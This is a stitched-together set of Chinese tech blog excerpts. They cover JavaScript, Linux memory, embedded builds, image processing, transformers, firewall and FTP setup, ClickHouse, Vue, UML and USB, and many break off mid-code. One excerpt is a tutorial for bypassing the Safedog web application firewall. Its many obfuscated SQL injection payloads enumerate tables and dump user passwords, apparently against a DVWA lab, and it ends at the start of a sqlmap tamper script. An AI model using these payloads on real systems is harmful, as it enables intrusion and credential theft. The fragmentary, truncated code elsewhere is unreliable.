一,js中的this指向 1.方法是谁调用的,那么在方法中this就指向谁(.前面是谁, this就是谁) 2.如果没有调用 this始终指向window 3.构造函数中的this, 指向实例本身 4.强制改变this call apply bind //call和apply和bind都是改变this指向的方法 //语法 //call(新的this指向, pram1, pram2 ...) //apply(新的this指向, [pram1, pram2 ...]) //bind方法 返回一个改变this指向之后的新的方法,需要手动调用 {//1.方法是谁调用的,那么在方法中this就指向谁(.前面是谁, this就是谁) let obj = { name: "obj", fn: function () { console.log(this);//obj } }; obj.fn(); } {//2.如果没有调用 this始终指向window function fn() { console.log(this);//window } fn(); } {//3.构造函数中的this, 指向实例本身 function Fn(name){ this.name = name; this.age = 18; console.log("Fn中的this==>",this); //new Fn() } Fn.prototype.sayName = function(){ console.log(this.name); //new Fn() console.

华为面试题,10个数分成两组,两数组和的最小差

华为面试题,10个数分成两组,两数组和的最小差 import java.util.Arrays; import java.util.Scanner; //1 2 3 4 5 6 7 8 9 10 // 6 7 8 9 10 public class Test2 { public static void main(String[] args) { //2.调用处理数组的函数 Scanner sc = new Scanner(System.in); int[] arr = new int[11]; for (int i = 0; i < 11; i++) { arr[i] = sc.nextInt(); } System.out.println(result(arr)); public static int result(int[] arr){ int a[] =new int[arr.length / 2], b[] = new int[arr.

Linux内存管理子系统(概念入门)

文章目录 大纲子系统简介管理模型Linux虚拟地址空间分布虚拟地址转化为物理地址物理内存分配 大纲 内存管理子系统 内存管理模型地址映射管理物理地址分配管理 子系统简介 Linux内核系统构成 管理模型 Linux内存子系统管理模型 上面的三个部分主要做物理内存分配,包裹着它们的部分做的是地址映射 管理内容 内存管理子系统职能 管理:虚拟地址和物理地址的映射管理:物理内存的分配 地址映射管理 内存管理子系统 管理:虚拟地址与物理地址的映射地址映射管理 1. 虚拟地址空间分布 2. 虚拟地址转化为物理地址物理地址分配管理 Linux虚拟地址空间分布 32位的处理器,地址总线位32位,因此能够访问到的地址空间位2^32 = 4G 其中0-3G为用户空间里面是应用程序,3G-4G为内核空间,内核空间又被分为4个部分: 直接映射区 vmalloc区 永久映射区 固定映射区 虚拟地址转化为物理地址 由这部分完成 cr3:作为基地址(页目录的基地址) 高10位:偏移,以找到页目录 中间10位:偏移,以找到页表(物理页的基地址) 低12位:偏移,找到物理页的存储单元 896MB以下的内存称为低端内存,以上的成为高端内存 直接映射区域的地址映射到物理内存就是其地址减去PAGE_OFFSET,也就是减去3G。永久内核映射区固定访问高端内存,而固定映射区是用来访问特定寄存器的。 物理内存分配 只有在访问虚拟地址的时候,才会实实在在的给你分配物理内存 当调用malloc的时候,会分配虚拟地址,而只有在访问虚拟地址的时候,这个时候Linux会产生缺页异常,然后分配实际内存地址和虚拟地址建立映射关系(通过缺页异常的方式) 而kmalloc函数返回的虚拟地址是已经建立映射的虚拟地址。

嵌入式Linux内核以及根文件系统制作

内核制作 注意: 我测试的使用nandflsh中bootloader启动,sd卡bootloader启动有问题 制作嵌入式平台使用的Linux内核,方法和制作PC平台的Linux内核基本一致。 清除原有配置与中间文件 x86: make distclean arm:make distclean 配置内核 x86: make menuconfig arm:make menuconfig ARCH=arm (一般来说有一个参考的配置文件) 编译内核 x86: make bzImage arm:make uImage ARCH=arm CROSS_COMPILE=arm-linux- (注意使用ARCH以及CROSS_COMPILE参数) 通过tftp传到内存中 (注意将uImage.bin移动到tftp服务器指定问文件夹内) tftp 0xc0008000 uImage.bin 然后启动bootm c0008000 可以看到没有文件系统,内核无法进行挂载 根文件系统制作 建立根文件系统目录与文件 创建目录创建设备文件加入配置文件添加内核模块编译busybox 挂载文件系统到内核 挂载方式简介initramfs挂载NFS挂载 创建目录 mkdir bin dev etc lib proc sbin sys usr mnt tmp var mkdir usr/bin usr/lib usr/sbin lib/modules 创建设备文件 cd rootfs/dev mknod -m 666 console c 5 1 mknod -m 666 null c 1 3

python图像灰度变换

二值化 非0元素取1法 非零元素取一法是最基础的二值化算法。顾名思义,非零取一就是对于灰度图像f,若某像素灰度值为零,则其灰度值不变,仍为零;对于灰度值不为零的像素,将其像素值全部变为255。 img = np.zeros((w, h), dtype=np.uint8) for j in range(h): for i in range(w): if grey[j, i] != 0: img[j, i] = 255 固定阀值法 固定阀值法就是为灰度图像f设定一个阀值T,把灰度值小于给定阈值T的像素置为0,大于阈值T的像素置为255,从而对灰度图像实现二值化变换。 img = np.zeros((w, h), dtype=np.uint8) for j in range(h): for i in range(w): if grey[j, i] > 125: img[j, i] = 255 双固定阀值法 双固定阀值法预先设置了两个阀值T1和T2,T1<T2,当对图像进行处理时,如果某个像素的灰度值小于T1则置0(或者255);如果大于T1并且小于T2时,则置255(或者置0);如果大于T2时,则置0(或者255)。 img = np.zeros((w, h), dtype=np.uint8) for j in range(h): for i in range(w): if grey[j, i] > 125 and grey[j, i] < 200: img[j, i] = 255 灰度变换 反色变换处理 img = np.

transformer

简介 transformer最早于2017年google机器翻译团队提出,也就是著名的 《Attention Is All You Need》,transformer完全取代了以往的RNN和CNN结构,改为由transformer堆叠的方式构建模型。 transformer在NLP领域首先取得了非常惊人的效果,随后,ECCV2020,DETR:《End-to-End Object Detection with Transformers 》首次将transformer引入到了CV的目标检测任务重,随后VIT:《An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale》完全抛弃了CNN,改为完全由transformer实现基础的图像分类任务,之后transformer在CV领域的应用也变得一发不可收拾。 基本概念 Transformer transformer是一种网络结构,是一种seq2seq的模型,最开始用于处理机器翻译任务,transformer由encoder和decoder组成,encoder或者decoder又是由多个encoder block和decoder block堆叠而成,encoder block和decoder block分别是用直连,Multi-Head Attention,BN,全连接等基础层通过不同的方式组合连接而成。 Multi-Head Attention Multi-Head Attention 包含多个 Self-Attention 层,同一个输入分别传递到 n个不同的 Self-Attention 中,计算得到 n 个输出结果。得到n个输出矩阵之后,Multi-Head Attention 将它们拼接在一起 (Concat),然后传入一个Linear层,得到 Multi-Head Attention 最终的输出 。 Self-attention self-attention是一种新的layer,输入输出都是sequence,不同于RNN的是,self-attention layer可以做到并行。 Positional Encoding self-attention的特性很好的实现了时序上的并行,但是也带来了其他问题,那就是没有了位置信息,一个sequence上不同位置的信息,self-attention是做同等处理的,这显然不符合NLP天然的时序逻辑,positional encoding的引入就是为了解决这个问题。 self-attention Multi-Head Attention Positional Encoding

位运算小技巧

判断是否存在连续的1 bool check(int st)//判断是否合法,连续的1 { return !(x&x>>1) }

针对Centos8.0开启端口失败: /etc/rc.d/init.d/iptables: 没有那个文件或目录

针对该错误,采用防火墙的修改方法: 应用firewall相关命令控制防火墙 1、查看firewall的状态 firewall-cmd --state 2、开放8050端口 firewall-cmd --permanent --add-port=8050/tcp 3、查看防火墙的开放的端口 firewall-cmd --permanent --list-ports 4、重启防火墙(修改配置后要重启防火墙) firewall-cmd --reload 通过以上操作即可实现端口外部访问;

LinuxCPU地址空间/进程&内核/物理内存地址空间关系

一、地址关系如图所示 二、进程虚拟地址空间 图勘误说明 该图中 "共享库的内存映射区域" 增长方向应该朝低地址方向增长,所以,正确的图如下: 参考: 12张图解Linux内存管理,程序员内功修炼,看过都说懂了! - 知乎 (zhihu.com) Linux的虚拟内存详解(MMU、页表结构) - 知乎 (zhihu.com) Linux内核架构分析——进程虚拟内存 - 知乎 (zhihu.com) 万字整理,肝翻Linux内存管理所有知识点-面包板社区 (eet-china.com)

文件服务器 —— FTP(搭建、运行、查看、用户设置和管理)【在线/离线安装】

文件服务器 —— FTP 目录 FTP文件服务器环境搭建和运行 FTP服务器状态查看 FTP用户设置和管理 FTP文件服务器环境搭建和运行 一般在各种linux的发行版中,默认带有的ftp软件是vsftp。 检查是否已安装vsftpd软件 rpm -qa |grep vsftpd 如果已安装,会输出版本号。 安装vsftpd软件 【在线】 yum install vsftpd -y 【离线】 1、下载安装包 http://rpmfind.net/linux/rpm2html/search.php?query=vsftpd(x86-64) 2、开始安装 rpm -ivh vsftpd-3.0.5-1.2.x86_64.rpm 3、验证安装是否成功(输出版本号即安装成功) rpm -qa |grep vsftpd vsftpd启动 #启动 service vsftpd start #停止 service vsftpd stop #重启 service vsftpd restart FTP服务器状态查看 service vsftpd status FTP用户设置和管理 ftp的配置文件 vsftpd的配置【位于/etc/vsftpd/目录下】 ftpusers 该文件用来指定那些用户不能访问ftp服务器。 user_list 该文件用来指示的默认账户在默认情况下也不能访问ftp vsftpd.conf vsftpd的主配置文件 添加用户 useradd -d /home/pyswftp pyswftp //创建pyswftp用户,文件上传后将存放到/home/pyswftp下 passwd pyswftp //回车以后,会提示设置密码,随后密码设置成功 添加用户可能碰到的问题 useradd -d /home/pyswftp pyswftp //提示 useradd:无法打开 /etc/passwd 原因: 文件/etc/passwd的权限为不可修改 解决: lsattr /etc/passwd //查看文件权限,权限 i 说明设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容,权限 a为只能追加,不能删除 chattr -i /etc/passwd //去掉 i 权限 【chattr +i /etc/passwd //添加 i 权限】 忘记ftp密码,修改 cd /etc/vsftpd cat ftpusers 找到对应的ftp用户名 passwd ftp用户名(回车) service vsftpd restart 感谢下文博主🤝

【clickhouse踩坑记录】clusters表中分片副本的浅析

背景 对于一个数据开发,刚接手一套新的clickhouse集群,仅通过clickhouse中system表,快速了解clickhouse的架构 角度 分片副本 通过clusters表,可以很清晰的看到clickhouse集群的分片副本情况。 select * from system.clusters; 主要字段说明: cluster: 集群的命名 shard_num: 分片的编号 shard_weight: 分片的权重 replica_num: 副本的编号 host_name: 机器的host名称 host_address: 机器的ip地址 port: clickhouse集群的端口 is_local: 是否为你当前查询本地 user: 创建用户 结果说明: 例一(一分片三副本): clustershard_numshard_weightreplica_numhost_namehost_addressportis_localcluster_test111ck_01xxx.xxx.xxx.xxx90001cluster_test112ck_02xxx.xxx.xxx.xxx90000cluster_test113ck_03xxx.xxx.xxx.xxx90000 这种部署方式需要3台机器,没做分片,三个副本,可实现高可用。架构比较绕。 因为副本数为3,每次写入一条数据,都会把这条数据写入到三台机器上,所以在机器/存储有限的情况下,资源利用率并不会很高。 优点则是部署相对简单,不用去修改很多的配置文件。 例二(三分片双副本): clustershard_numshard_weightreplica_numhost_namehost_addressportis_localcluster_test111ck_01xxx.xxx.xxx.xxx90001cluster_test211ck_01xxx.xxx.xxx.xxx90001cluster_test311ck_02xxx.xxx.xxx.xxx90000cluster_test112ck_02xxx.xxx.xxx.xxx90000cluster_test212ck_03xxx.xxx.xxx.xxx90000cluster_test312ck_03xxx.xxx.xxx.xxx90000 这种部署方式需要3台机器,三个分片,两个副本,可实现高可用。 因为副本数为2,每次写入一条数据,都会把这条数据写入到其中的两台机器上,所以相比于第一架构方式,资源利用率更高。但是假设通过ck_01节点写入,数据会存到分片1与分片2中,如果你连接ck_02进行查询本地表,是查不到写入分片2的数据。如何解决这个问题呢?目前博主想到的解决方案是在本地表上面再建一个分布式表。 例三(三分片双副本): clustershard_numshard_weightreplica_numhost_namehost_addressportis_localcluster_test111ck_01xxx.xxx.xxx.xxx90001cluster_test112ck_02xxx.xxx.xxx.xxx90000cluster_test211ck_03xxx.xxx.xxx.xxx90000cluster_test212ck_04xxx.xxx.xxx.xxx90000cluster_test311ck_05xxx.xxx.xxx.xxx90000cluster_test312ck_06xxx.xxx.xxx.xxx90000 这种部署方式需要6台机器,三个分片,两个副本,可实现高可用。架构相对较清晰。 因为副本数为2,每次写入一条数据,都会把这条数据写入到其中的两台机器上,其他四台机器上没有此数据。 假设通过ck_01节点写入,数据仅会在ck_01跟ck_02两个节点,如果链接ck_03的数据库,此时是查不到任何数据的。 存储大小 select * from system.disks; 主要字段说明: name: 磁盘名称 path: 数据对应在相应磁盘的路径 free_space: 可用存储大小 total_space: 总存储大小 另外,还可通过下面查看对应的存储策略,因为考虑到集群的扩展性,一些表可以指定存储策略存到指定磁盘下 select * from system.storage_policies; 主要字段说明: policy_name: 存储策略名称 volume_name: 卷名称 disks: 对应磁盘名称

vue项目列表跳转详情返回列表页保留搜索条件

需求 列表进入详情后,返回详情的时候保留搜索的条件,第几页进入的返回还在第几页 1.在详情页设置定义一个字段 mounted() { sessionStorage.setItem("msgInfo", true); }, 2.在获取列表数据的时候在mounted里面判断定义的字段 if (sessionStorage.getItem("msgInfo")) { //如果有就读取缓存里面的数据 this.pageNum = Number(sessionStorage.getItem("currentPage")); //搜索的数据 let data = JSON.parse(sessionStorage.getItem("search")); this.search = data; } else { this.pageNum = 1; //其他页面第一次进入列表页,清掉缓存里面的数据 sessionStorage.removeItem("search"); sessionStorage.removeItem("currentPage"); } 在进入详情的时候保存一下页码和搜索的信息 details(data) { sessionStorage.setItem("currentPage", this.pageNum); sessionStorage.setItem("search", JSON.stringify(this.search)); this.$store.commit("set_studentDetails", data); this.$router.push("/student_details"); }, 离开页面的时候清除定义的字段 destroyed() { // 销毁组件 sessionStorage.removeItem("msgInfo"); },

网站安全狗V4.0绕过姿势

网站安全狗下载地址: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改https://www.safedog.cn/website_safedog.html DVWA下载: 链接:https://pan.baidu.com/s/1XZXC3r_LhtY9s7xJM_NAYQ 提取码:kun6 --来自百度网盘超级会员V3的分享 已DVWA SQL注入为例对网站安全狗进行绕过测试。 1.查看安全狗防御规则匹配库。 2.绕过分析 字符 绕过方法 and /*!14400and*/ order by /**/order/*/%0a*a*/by/**/ union select union/*!88888cas*//*/%0a*a*/select/**/ database() database(/*%%!AJEST%%%%*/) from information_schema.tables /*!from--%0f/*%0ainformation_schema.tables*/ from information_schema.tables /*!from--%0f/*%0ainformation_schema.columns*/ count(*) count(1) 3.手工绕过 1.判断列数。 ?id=5'/**/order/*/%0a*a*/by/**/1/**/--+ ?id=5'/**/order/*/%0a*a*/by/**/2/**/--+ ?id=5'/**/order/*/%0a*a*/by/**/3/**/--+ 2.判断显示位。 ?id=5'/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+ ?id=5'/**//*!14400and*//**/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+ 3.查询数据库名。 ?id=5'/*!14400and*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/database(/*%%!AJEST%%%%*/),2/**/--+ 4.查询所有的表名。 ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+ ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/limit/*//*/0,1--+ ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/group_concat(table_name),2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+ 5.获取字段名字。 ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+ ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)/*//*//*!limit*//*//*/0,1/*//*/--+ ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+ 6.获取字段内容。 ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users --+ ?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users/*//*//*!limit*//*//*/0,1/*//*/ --+ 4.sqlmap编写tumper绕过 #!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url]) See the file 'LICENSE' for copying permission Author:LUSHUN "

23种设计模式UML类图图解

目录 一 、类图的表示二、创建者模式1、单例模式2、简单工厂模式3、工厂方法模式4、抽象工厂模式5、原型模式6、建造者模式 三、结构型模式1、代理模式2、适配器模式3、装饰者模式4、桥接模式5、外观模式6、组合模式7、享元模式 四、行为型模式1、模板方法模式2、策略模式3、命令模式4、职责链模式5、状态模式6、观察者模式7、中介者模式8、迭代器模式9、访问者模式10、备忘录模式11、解释器模式 一 、类图的表示 本文的图参考黑马程序员,在UML类图中,类使用包含类名、属性(field) 和方法(method) 且带有分割线的矩形来表示,比如下图表示一个Employee类,它包含name,age和address这3个属性,以及work()方法。 属性/方法名称前加的加号和减号表示了这个属性/方法的可见性,UML类图中表示可见性的符号有三 种: +:表示public -:表示private #:表示protected 属性的完整表示方式是: 可见性 名称 :类型 [ = 缺省值] 方法的完整表示方式是: 可见性 名称(参数列表) [ : 返回类型] 上图Demo类定义了三个方法: method()方法:修饰符为public,没有参数,没有返回值。 method1()方法:修饰符为private,没有参数,返回值类型为String。 method2()方法:修饰符为protected,接收两个参数,第一个参数类型为int,第二个参数类型为String,返回值类型是int。 二、创建者模式 1、单例模式 2、简单工厂模式 (不是设计模式,像是一种编程习惯) 3、工厂方法模式 4、抽象工厂模式 5、原型模式 6、建造者模式 三、结构型模式 1、代理模式 2、适配器模式 3、装饰者模式 4、桥接模式 5、外观模式 6、组合模式 7、享元模式 四、行为型模式 1、模板方法模式 2、策略模式 3、命令模式 4、职责链模式 5、状态模式 6、观察者模式 7、中介者模式 8、迭代器模式 9、访问者模式 10、备忘录模式 11、解释器模式

【正点原子Linux连载】第六十七章 Linux USB驱动实验 -摘自【正点原子】I.MX6U嵌入式Linux驱动开发指南V1.0

1)实验平台:正点原子阿尔法Linux开发板 2)平台购买地址:https://item.taobao.com/item.htm?id=603672744434 2)全套实验源码+手册+视频下载地址:http://www.openedv.com/thread-300792-1-1.html 3)对正点原子Linux感兴趣的同学可以加群讨论:935446741 4)关注正点原子公众号,获取最新资料更新 第六十七章 Linux USB驱动实验 USB是很常用的接口,目前大多数的设备都是USB接口的,比如鼠标、键盘、USB摄像头等,我们在实际开发中也常常遇到USB接口的设备,本章我们就来学习一下如何使能Linux内核自带的USB驱动。注意!本章并不讲解具体的USB开发,因为USB接口很复杂,不同的设备其协议也不同,这不是简简单单一章内容就能说完的,USB驱动开发本身就是一门复杂的课程。所以,如果想要学习如何编写代码开发一个全新的USB设备那就可以跳过本章。 67.1 USB接口简介 关于USB详细的协议内容请参考《USB2.0协议中文版.pdf》和《USB3.0协议中文版.pdf》,这两份文档已经放到了开发板光盘中,存放在“4、参考资料” 中。 67.1.1 什么是USB? USB全称为Universal Serial Bus,翻译过来就是通用串行总线。由英特尔与众多电脑公司提出来,用于规范电脑与外部设备的连接与通讯。目前USB接口已经得到了大范围的应用,已经是电脑、手机等终端设备的必配接口,甚至取代了大量的其他接口。比如最新的智能手机均采用USB Typec取到了传统的3.5mm耳机接口,苹果最新的MacBook只有USB Typec接口,至于其他的HDMI、网口等均可以通过USB Typec扩展坞来扩展。 按照大版本划分,USB目前可以划分为USB1.0、USB2.0、USB3.0以及正在即将到来的USB4.0。 USB1.0:USB规范于1995年第一次发布,由Inter、IBM、Microsoft等公司组成的USB-IF(USB Implement Forum)组织提出。USB-IF与1996年正式发布USB1.0,理论速度为1.5Mbps。1998年USBIF在USB1.0的基础上提出了USB1.1规范。 USB2.0:USB2.0依旧由Inter、IBM、Microsoft等公司提出并发布,USB2.0分为两个版本:Full-Speed和High-Speed,也就是全速(FS)和高速(HS)。USB2.0 FS的速度为12Mbps,USB2.0 HS速度为480Mbps。目前大多数单片机以及低端Cortex-A芯片配置的都是USB2.0接口,比如STM32和ALPHA开发板所使用的I.MX6ULL。USB2.0全面兼容USB1.0标准。 USB3.0:USB3.0同样有Inter等公司发起的,USB3.0最大理论传输速度为5.0Gbps,USB3.0引入了全双工数据传输,USB2.0的480Mbps为半双工。USB3.0中两根线用于发送数据,另外两根用于接收数据。在USB3.0的基础上又提出了USB3.1、USB3.2等规范,USB3.1理论传输速度提升到了10Gbps,USB3.2理论传输速度为20Gbps。为了规范USB3.0标准的命名,USB-IF公布了最新的USB命名规范,原来的USB3.0和USB3.1命名将不会采用,所有的3.0版本的USB都命名为USB3.2,以前的USB3.0、USB3.1和USB3.2分别叫做USB3.2 Gen1、USB3.2 Gen2、USB3.2 Gen 2X2。 USB4.0:目前还在标准定制中,目前还没有设备搭载,据说是在Inter的雷电3接口上改进而来。USB4.0的速度将提升到了40Gbps,最高支持100W的供电能力,只需要一根线就可以完成数据传输与供电,极大的简化了设备之间的链接线数,期待USB4.0设备上市。 如果按照接口类型划分的话USB就要分为很多种了,最常见的就是USB A插头和插座,如图67.1.1.1所示: 图67.1.1.1 USB A插头(左)和插座(右) 使用过JLINK调试器的朋友应该还见过USB B插头和插座,USB B插头和插座如图67.1.1.2所示: 图67.1.1.2 USB B插头(左)和插座(右) USB插头在不断的缩小,由此产生了Mini USB接口,正点原子的I.MX6ULL-ALPHA开发板使用的就是Mini USB,Mini USB插头和插座如图67.1.1.3所示: 图67.1.1.3 Mini USB插头(左)和插座(右) 比Mini USB更小的就是Micro USB接口了,以前的智能手机基本都是Micro USB接口的,Micro USB插头和插座如图67.1.1.4所示: 图67.1.1.4 Micro USB插头(左)和插座(右) 现在最流行的就是USB Typec了,USB Typec插头和插座如图67.1.1.5所示: 图67.1.1.5 USB Typec插头(左)和插座(右) 67.1.2 USB电气特性 由于正点原子I.MX6U-ALPHA开发板使用的Mini USB接口,因此我们就以Mini USB为例讲解一下USB的基本电气属性。Mini USB线一般都是一头为USB A插头,一头为Mini USB插头。一共有四个触点,也就是4根线,这四根线的顺序如图67.